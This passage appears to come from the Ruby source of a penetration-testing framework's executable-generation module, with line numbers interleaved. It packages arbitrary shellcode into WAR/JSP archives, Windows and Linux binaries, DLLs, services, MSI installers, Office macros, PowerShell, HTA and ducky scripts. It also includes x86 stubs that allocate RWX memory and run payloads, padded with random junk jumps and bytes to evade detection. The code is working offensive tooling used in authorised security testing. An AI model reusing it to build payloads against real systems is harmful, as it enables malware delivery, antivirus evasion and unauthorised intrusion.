web_xml = %q{<?xml version="1.0"?>
1711
<!DOCTYPE web-app PUBLIC
1712
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
1713
"http://java.sun.com/dtd/web-app_2_3.dtd">
1714
<web-app>
1715
<servlet>
1716
<servlet-name>NAME</servlet-name>
1717
<jsp-file>/PAYLOAD.jsp</jsp-file>
1718
</servlet>
1719
</web-app>
1720
}
1721
web_xml.gsub!('NAME', app_name)
1722
web_xml.gsub!('PAYLOAD', jsp_name)
1723
1724
zip = Rex::Zip::Archive.new
1725
zip.add_file('META-INF/', '', meta_inf)
1726
zip.add_file('META-INF/MANIFEST.MF', manifest)
1727
zip.add_file('WEB-INF/', '')
1728
zip.add_file('WEB-INF/web.xml', web_xml)
1729
# add the payload
1730
zip.add_file("#{jsp_name}.jsp", jsp_raw)
1731
1732
# add extra files
1733
if opts[:extra_files]
1734
opts[:extra_files].each { |el| zip.add_file(el[0], el[1]) }
1735
end
1736
1737
zip.pack
1738
end
1739
1740
# Creates a .NET DLL which loads data into memory
1741
# at a specified location with read/execute permissions
1742
# - the data will be loaded at: base+0x2065
1743
# - default max size is 0x8000 (32768)
1744
# @param base [Integer] Default location set to base 0x12340000
1745
# @param data [String]
1746
# @param opts [Hash]
1747
# @option [String] :template
1748
# @option [String] :base_offset
1749
# @option [String] :timestamp_offset
1750
# @option [String] :text_offset
1751
# @option [String] :pack
1752
# @option [String] :uuid_offset
1753
# @return [String]
1754
def self.to_dotnetmem(base = 0x12340000, data = '', opts = {})
1755
# Allow the user to specify their own DLL template
1756
set_template_default(opts, 'dotnetmem.dll')
1757
1758
pe = get_file_contents(opts[:template])
1759
1760
# Configure the image base
1761
base_offset = opts[:base_offset] || 180
1762
pe[base_offset, 4] = [base].pack('V')
1763
1764
# Configure the TimeDateStamp
1765
timestamp_offset = opts[:timestamp_offset] || 136
1766
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
1767
1768
# XXX: Unfortunately we cant make this RWX only RX
1769
# Mark this segment as read-execute AND writable
1770
# pe[412,4] = [0xe0000020].pack("V")
1771
1772
# Write the data into the .text segment
1773
text_offset = opts[:text_offset] || 0x1065
1774
text_max = opts[:text_max] || 0x8000
1775
pack = opts[:pack] || 'a32768'
1776
pe[text_offset, text_max] = [data].pack(pack)
1777
1778
# Generic a randomized UUID
1779
uuid_offset = opts[:uuid_offset] || 37656
1780
pe[uuid_offset, 16] = Rex::Text.rand_text(16)
1781
1782
pe
1783
end
1784
1785
# self.encode_stub
1786
#
1787
# @param framework [Msf::Framework]
1788
# @param arch [String]
1789
# @param code [String]
1790
# @param platform [String]
1791
# @param badchars [String]
1792
def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
1793
return code unless framework.encoders
1794
1795
framework.encoders.each_module_ranked('Arch' => arch) do |name, _mod|
1796
enc = framework.encoders.create(name)
1797
raw = enc.encode(code, badchars, nil, platform)
1798
return raw if raw
1799
rescue StandardError
1800
end
1801
nil
1802
end
1803
1804
def self.generate_nops(framework, arch, len, opts = {})
1805
opts['BadChars'] ||= ''
1806
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
1807
1808
return nil unless framework.nops
1809
1810
framework.nops.each_module_ranked('Arch' => arch) do |name, _mod|
1811
nop = framework.nops.create(name)
1812
raw = nop.generate_sled(len, opts)
1813
return raw if raw
1814
rescue StandardError
1815
# @TODO: stop rescuing everying on each of these, be selective
1816
end
1817
nil
1818
end
1819
1820
# This wrapper is responsible for allocating RWX memory, copying the
1821
# target code there, setting an exception handler that calls ExitProcess
1822
# and finally executing the code.
1823
def self.win32_rwx_exec(code)
1824
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1825
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1826
arch: ARCH_X86,
1827
name: 'api_call'
1828
)
1829
1830
stub_exit = %^
1831
; Input: EBP must be the address of 'api_call'.
1832
; Output: None.
1833
; Clobbers: EAX, EBX, (ESP will also be modified)
1834
; Note: Execution is not expected to (successfully) continue past this block
1835
1836
exitfunk:
1837
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
1838
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
1839
mov eax, ebp
1840
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
1841
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1842
jl goodbye ; Then just call the exit function...
1843
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1844
jne goodbye ;
1845
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1846
goodbye: ; We now perform the actual call to the exit function
1847
push byte 0 ; push the exit function parameter
1848
push ebx ; push the hash of the exit function
1849
call ebp ; call EXITFUNK( 0 );
1850
^
1851
1852
stub_alloc = %^
1853
cld ; Clear the direction flag.
1854
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1855
delta: ;
1856
#{stub_block}
1857
start: ;
1858
pop ebp ; Pop off the address of 'api_call' for calling later.
1859
1860
allocate_size:
1861
mov esi, #{code.length}
1862
1863
allocate:
1864
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1865
push 0x1000 ; MEM_COMMIT
1866
push esi ; Push the length value of the wrapped code block
1867
push byte 0 ; NULL as we dont care where the allocation is.
1868
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
1869
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1870
1871
mov ebx, eax ; Store allocated address in ebx
1872
mov edi, eax ; Prepare EDI with the new address
1873
mov ecx, esi ; Prepare ECX with the length of the code
1874
call get_payload
1875
got_payload:
1876
pop esi ; Prepare ESI with the source to copy
1877
rep movsb ; Copy the payload to RWX memory
1878
call set_handler ; Configure error handling
1879
1880
exitblock:
1881
#{stub_exit}
1882
set_handler:
1883
xor eax,eax
1884
push dword [fs:eax]
1885
mov dword [fs:eax], esp
1886
call ebx
1887
jmp exitblock
1888
^
1889
1890
stub_final = %(
1891
get_payload:
1892
call got_payload
1893
payload:
1894
; Append an arbitrary payload here
1895
)
1896
1897
stub_alloc.gsub!('short', '')
1898
stub_alloc.gsub!('byte', '')
1899
1900
wrapper = ''
1901
# regs = %W{eax ebx ecx edx esi edi ebp}
1902
1903
cnt_jmp = 0
1904
stub_alloc.each_line do |line|
1905
line.gsub!(/;.*/, '')
1906
line.strip!
1907
next if line.empty?
1908
1909
wrapper << "nop\n" if rand(2) == 0
1910
1911
if rand(2) == 0
1912
wrapper << "jmp autojump#{cnt_jmp}\n"
1913
1.upto(rand(8..15)) do
1914
wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"
1915
end
1916
wrapper << "autojump#{cnt_jmp}:\n"
1917
cnt_jmp += 1
1918
end
1919
wrapper << line + "\n"
1920
end
1921
1922
wrapper << stub_final
1923
1924
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
1925
enc.data + code
1926
end
1927
1928
# This wrapper is responsible for allocating RWX memory, copying the
1929
# target code there, setting an exception handler that calls ExitProcess,
1930
# starting the code in a new thread, and finally jumping back to the next
1931
# code to execute. block_offset is the offset of the next code from
1932
# the start of this code
1933
def self.win32_rwx_exec_thread(code, block_offset, which_offset = 'start')
1934
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
1935
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
1936
arch: ARCH_X86,
1937
name: 'api_call'
1938
)
1939
1940
stub_exit = %^
1941
; Input: EBP must be the address of 'api_call'.
1942
; Output: None.
1943
; Clobbers: EAX, EBX, (ESP will also be modified)
1944
; Note: Execution is not expected to (successfully) continue past this block
1945
1946
exitfunk:
1947
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
1948
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
1949
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
1950
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
1951
jl goodbye ; Then just call the exit function...
1952
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
1953
jne goodbye ;
1954
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
1955
goodbye: ; We now perform the actual call to the exit function
1956
push byte 0 ; push the exit function parameter
1957
push ebx ; push the hash of the exit function
1958
call ebp ; call EXITFUNK( 0 );
1959
^
1960
1961
stub_alloc = %^
1962
pushad ; Save registers
1963
cld ; Clear the direction flag.
1964
call start ; Call start, this pushes the address of 'api_call' onto the stack.
1965
delta: ;
1966
#{stub_block}
1967
start: ;
1968
pop ebp ; Pop off the address of 'api_call' for calling later.
1969
1970
allocate_size:
1971
mov esi,#{code.length}
1972
1973
allocate:
1974
push byte 0x40 ; PAGE_EXECUTE_READWRITE
1975
push 0x1000 ; MEM_COMMIT
1976
push esi ; Push the length value of the wrapped code block
1977
push byte 0 ; NULL as we dont care where the allocation is.
1978
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
1979
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
1980
1981
mov ebx, eax ; Store allocated address in ebx
1982
mov edi, eax ; Prepare EDI with the new address
1983
mov ecx, esi ; Prepare ECX with the length of the code
1984
call get_payload
1985
got_payload:
1986
pop esi ; Prepare ESI with the source to copy
1987
rep movsb ; Copy the payload to RWX memory
1988
call set_handler ; Configure error handling
1989
1990
exitblock:
1991
#{stub_exit}
1992
1993
set_handler:
1994
xor eax,eax
1995
; push dword [fs:eax]
1996
; mov dword [fs:eax], esp
1997
push eax ; LPDWORD lpThreadId (NULL)
1998
push eax ; DWORD dwCreationFlags (0)
1999
push eax ; LPVOID lpParameter (NULL)
2000
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
2001
push eax ; SIZE_T dwStackSize (0 for default)
2002
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
2003
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )
2004
call ebp ; Spawn payload thread
2005
2006
pop eax ; Skip
2007
; pop eax ; Skip
2008
pop eax ; Skip
2009
popad ; Get our registers back
2010
; sub esp, 44 ; Move stack pointer back past the handler
2011
^
2012
2013
stub_final = %(
2014
get_payload:
2015
call got_payload
2016
payload:
2017
; Append an arbitrary payload here
2018
)
2019
2020
stub_alloc.gsub!('short', '')
2021
stub_alloc.gsub!('byte', '')
2022
2023
wrapper = ''
2024
# regs = %W{eax ebx ecx edx esi edi ebp}
2025
2026
cnt_jmp = 0
2027
cnt_nop = 64
2028
2029
stub_alloc.each_line do |line|
2030
line.gsub!(/;.*/, '')
2031
line.strip!
2032
next if line.empty?
2033
2034
if cnt_nop > 0 && rand(4) == 0
2035
wrapper << "nop\n"
2036
cnt_nop -= 1
2037
end
2038
2039
if cnt_nop > 0 && rand(16) == 0
2040
cnt_nop -= 2
2041
cnt_jmp += 1
2042
2043
wrapper << "jmp autojump#{cnt_jmp}\n"
2044
1.upto(rand(1..8)) do
2045
wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"
2046
cnt_nop -= 1
2047
end
2048
wrapper << "autojump#{cnt_jmp}:\n"
2049
end
2050
wrapper << line + "\n"
2051
end
2052
2053
# @TODO: someone who knows how to use metasm please explain the right way to do this.
2054
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
2055
wrapper << stub_final
2056
2057
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
2058
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
2059
res = enc.data + code
2060
2061
if which_offset == 'start'
2062
res[soff, 4] = [block_offset - (soff + 4)].pack('V')
2063
elsif which_offset == 'end'
2064
res[soff, 4] = [res.length - (soff + 4) + block_offset].pack('V')
2065
else
2066
raise 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
2067
end
2068
res
2069
end
2070
2071
#
2072
# Generate an executable of a given format suitable for running on the
2073
# architecture/platform pair.
2074
#
2075
# This routine is shared between msfvenom, rpc, and payload modules (use
2076
# <payload>)
2077
#
2078
# @param framework [Framework]
2079
# @param arch [String] Architecture for the target format; one of the ARCH_*
2080
# constants
2081
# @param plat [#index] platform
2082
# @param code [String] The shellcode for the resulting executable to run
2083
# @param fmt [String] One of the executable formats as defined in
2084
# {.to_executable_fmt_formats}
2085
# @param exeopts [Hash] Passed directly to the appropriate method for
2086
# generating an executable for the given +arch+/+plat+ pair.
2087
# @return [String] An executable appropriate for the given
2088
# architecture/platform pair.
2089
# @return [nil] If the format is unrecognized or the arch and plat don't
2090
# make sense together.
2091
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
2092
# For backwards compatibility with the way this gets called when
2093
# generating from Msf::Simple::Payload.generate_simple
2094
if arch.is_a? Array
2095
output = nil
2096
arch.each do |a|
2097
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
2098
break if output
2099
end
2100
return output
2101
end
2102
2103
# otherwise the result of this huge case statement is returned
2104
case fmt
2105
when 'asp'
2106
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2107
Msf::Util::EXE.to_exe_asp(exe, exeopts)
2108
when 'aspx'
2109
Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
2110
when 'aspx-exe'
2111
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2112
Msf::Util::EXE.to_exe_aspx(exe, exeopts)
2113
when 'dll'
2114
case arch
2115
when ARCH_X86, nil
2116
to_win32pe_dll(framework, code, exeopts)
2117
when ARCH_X64
2118
to_win64pe_dll(framework, code, exeopts)
2119
end
2120
when 'exe'
2121
case arch
2122
when ARCH_X86, nil
2123
to_win32pe(framework, code, exeopts)
2124
when ARCH_X64
2125
to_win64pe(framework, code, exeopts)
2126
end
2127
when 'exe-service'
2128
case arch
2129
when ARCH_X86, nil
2130
to_win32pe_service(framework, code, exeopts)
2131
when ARCH_X64
2132
to_win64pe_service(framework, code, exeopts)
2133
end
2134
when 'exe-small'
2135
case arch
2136
when ARCH_X86, nil
2137
to_win32pe_old(framework, code, exeopts)
2138
when ARCH_X64
2139
to_win64pe(framework, code, exeopts)
2140
end
2141
when 'exe-only'
2142
case arch
2143
when ARCH_X86, nil
2144
to_winpe_only(framework, code, exeopts)
2145
when ARCH_X64
2146
to_winpe_only(framework, code, exeopts, arch)
2147
end
2148
when 'msi'
2149
case arch
2150
when ARCH_X86, nil
2151
exe = to_win32pe(framework, code, exeopts)
2152
when ARCH_X64
2153
exe = to_win64pe(framework, code, exeopts)
2154
end
2155
exeopts[:uac] = true
2156
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2157
when 'msi-nouac'
2158
case arch
2159
when ARCH_X86, nil
2160
exe = to_win32pe(framework, code, exeopts)
2161
when ARCH_X64
2162
exe = to_win64pe(framework, code, exeopts)
2163
end
2164
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
2165
when 'elf'
2166
if elf? code
2167
return code
2168
end
2169
2170
if !plat || plat.index(Msf::Module::Platform::Linux)
2171
case arch
2172
when ARCH_X86, nil
2173
to_linux_x86_elf(framework, code, exeopts)
2174
when ARCH_X64
2175
to_linux_x64_elf(framework, code, exeopts)
2176
when ARCH_AARCH64
2177
to_linux_aarch64_elf(framework, code, exeopts)
2178
when ARCH_ARMLE
2179
to_linux_armle_elf(framework, code, exeopts)
2180
when ARCH_ARMBE
2181
to_linux_armbe_elf(framework, code, exeopts)
2182
when ARCH_MIPSBE
2183
to_linux_mipsbe_elf(framework, code, exeopts)
2184
when ARCH_MIPSLE
2185
to_linux_mipsle_elf(framework, code, exeopts)
2186
when ARCH_MIPS64
2187
to_linux_mips64_elf(framework, code, exeopts)
2188
when ARCH_RISCV32LE
2189
to_linux_riscv32le_elf(framework, code, exeopts)
2190
when ARCH_RISCV64LE
2191
to_linux_riscv64le_elf(framework, code, exeopts)
2192
when ARCH_PPC64LE
2193
to_linux_ppc64le_elf(framework, code, exeopts)
2194
when ARCH_PPC
2195
to_linux_ppc_elf(framework, code, exeopts)
2196
when ARCH_PPCE500V2
2197
to_linux_ppce500v2_elf(framework, code, exeopts)
2198
when ARCH_ZARCH
2199
to_linux_zarch_elf(framework, code, exeopts)
2200
when ARCH_LOONGARCH64
2201
to_linux_loongarch64_elf(framework, code, exeopts)
2202
end
2203
elsif plat && plat.index(Msf::Module::Platform::BSD)
2204
case arch
2205
when ARCH_X86, nil
2206
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
2207
when ARCH_X64
2208
Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts)
2209
end
2210
elsif plat && plat.index(Msf::Module::Platform::Solaris)
2211
case arch
2212
when ARCH_X86, nil
2213
to_solaris_x86_elf(framework, code, exeopts)
2214
end
2215
end
2216
when 'elf-so'
2217
if elf? code
2218
return code
2219
end
2220
2221
if !plat || plat.index(Msf::Module::Platform::Linux)
2222
case arch
2223
when ARCH_X86
2224
to_linux_x86_elf_dll(framework, code, exeopts)
2225
when ARCH_X64
2226
to_linux_x64_elf_dll(framework, code, exeopts)
2227
when ARCH_ARMLE
2228
to_linux_armle_elf_dll(framework, code, exeopts)
2229
when ARCH_AARCH64
2230
to_linux_aarch64_elf_dll(framework, code, exeopts)
2231
when ARCH_RISCV32LE
2232
to_linux_riscv32le_elf_dll(framework, code, exeopts)
2233
when ARCH_RISCV64LE
2234
to_linux_riscv64le_elf_dll(framework, code, exeopts)
2235
when ARCH_LOONGARCH64
2236
to_linux_loongarch64_elf_dll(framework, code, exeopts)
2237
end
2238
end
2239
when 'macho', 'osx-app'
2240
if macho? code
2241
macho = code
2242
else
2243
macho = case arch
2244
when ARCH_X86, nil
2245
to_osx_x86_macho(framework, code, exeopts)
2246
when ARCH_X64
2247
to_osx_x64_macho(framework, code, exeopts)
2248
when ARCH_ARMLE
2249
to_osx_arm_macho(framework, code, exeopts)
2250
when ARCH_PPC
2251
to_osx_ppc_macho(framework, code, exeopts)
2252
when ARCH_AARCH64
2253
to_osx_aarch64_macho(framework, code, exeopts)
2254
end
2255
end
2256
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
2257
when 'vba'
2258
Msf::Util::EXE.to_vba(framework, code, exeopts)
2259
when 'vba-exe'
2260
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2261
Msf::Util::EXE.to_exe_vba(exe)
2262
when 'vba-psh'
2263
Msf::Util::EXE.to_powershell_vba(framework, arch, code)
2264
when 'vbs'
2265
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2266
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ persist: false }))
2267
when 'loop-vbs'
2268
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
2269
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ persist: true }))
2270
when 'jsp'
2271
arch ||= [ ARCH_X86 ]
2272
tmp_plat = plat.platforms if plat
2273
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2274
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2275
Msf::Util::EXE.to_jsp(exe)
2276
when 'war'
2277
arch ||= [ ARCH_X86 ]
2278
tmp_plat = plat.platforms if plat
2279
tmp_plat ||= Msf::Module::PlatformList.transform('win')
2280
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
2281
Msf::Util::EXE.to_jsp_war(exe)
2282
when 'psh'
2283
Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
2284
when 'psh-net'
2285
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
2286
when 'psh-reflection'
2287
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
2288
when 'psh-cmd'
2289
Msf::Util::EXE.to_powershell_command(framework, arch, code)
2290
when 'hta-psh'
2291
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
2292
when 'python-reflection'
2293
Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts)
2294
when 'ducky-script-psh'
2295
Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code)
2296
end
2297
end
2298
2299
# FMT Formats
2300
# self.to_executable_fmt_formats
2301
# @return [Array] Returns an array of strings
2302
def self.to_executable_fmt_formats
2303
[
2304
'asp',
2305
'aspx',
2306
'aspx-exe',
2307
'axis2',
2308
'dll',
2309
'ducky-script-psh',
2310
'elf',
2311
'elf-so',
2312
'exe',
2313
'exe-only',
2314
'exe-service',
2315
'exe-small',
2316
'hta-psh',
2317
'jar',
2318
'jsp',
2319
'loop-vbs',
2320
'macho',
2321
'msi',
2322
'msi-nouac',
2323
'osx-app',
2324
'psh',
2325
'psh-cmd',
2326
'psh-net',
2327
'psh-reflection',
2328
'python-reflection',
2329
'vba',
2330
'vba-exe',
2331
'vba-psh',
2332
'vbs',
2333
'war'
2334
]
2335
end
2336
2337
# self.get_file_contents
2338
#
2339
# @param perms [String]
2340
# @param file [String]
2341
# @return [String]
2342
def self.get_file_contents(file, perms = 'rb')
2343
contents = ''
2344
File.open(file, perms) { |fd| contents = fd.read(fd.stat.size) }
2345
contents
2346
end
2347
2348
# self.find_payload_tag
2349
#
2350
# @param mo [String]
2351
# @param err_msg [String]
2352
# @raise [RuntimeError] if the "PAYLOAD:" is not found
2353
# @return [Integer]
2354
def self.find_payload_tag(mo, err_msg)
2355
bo = mo.index('PAYLOAD:')
2356
unless bo
2357
raise err_msg.to_s
2358
end
2359
2360
bo
2361
end
2362
2363
def self.elf?(code)
2364
code[0..3] == "\x7FELF"
2365
end
2366
2367
def self.macho?(code)
2368
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
2369
end
2370
2371
end
2372
end
2373
end
2374
2375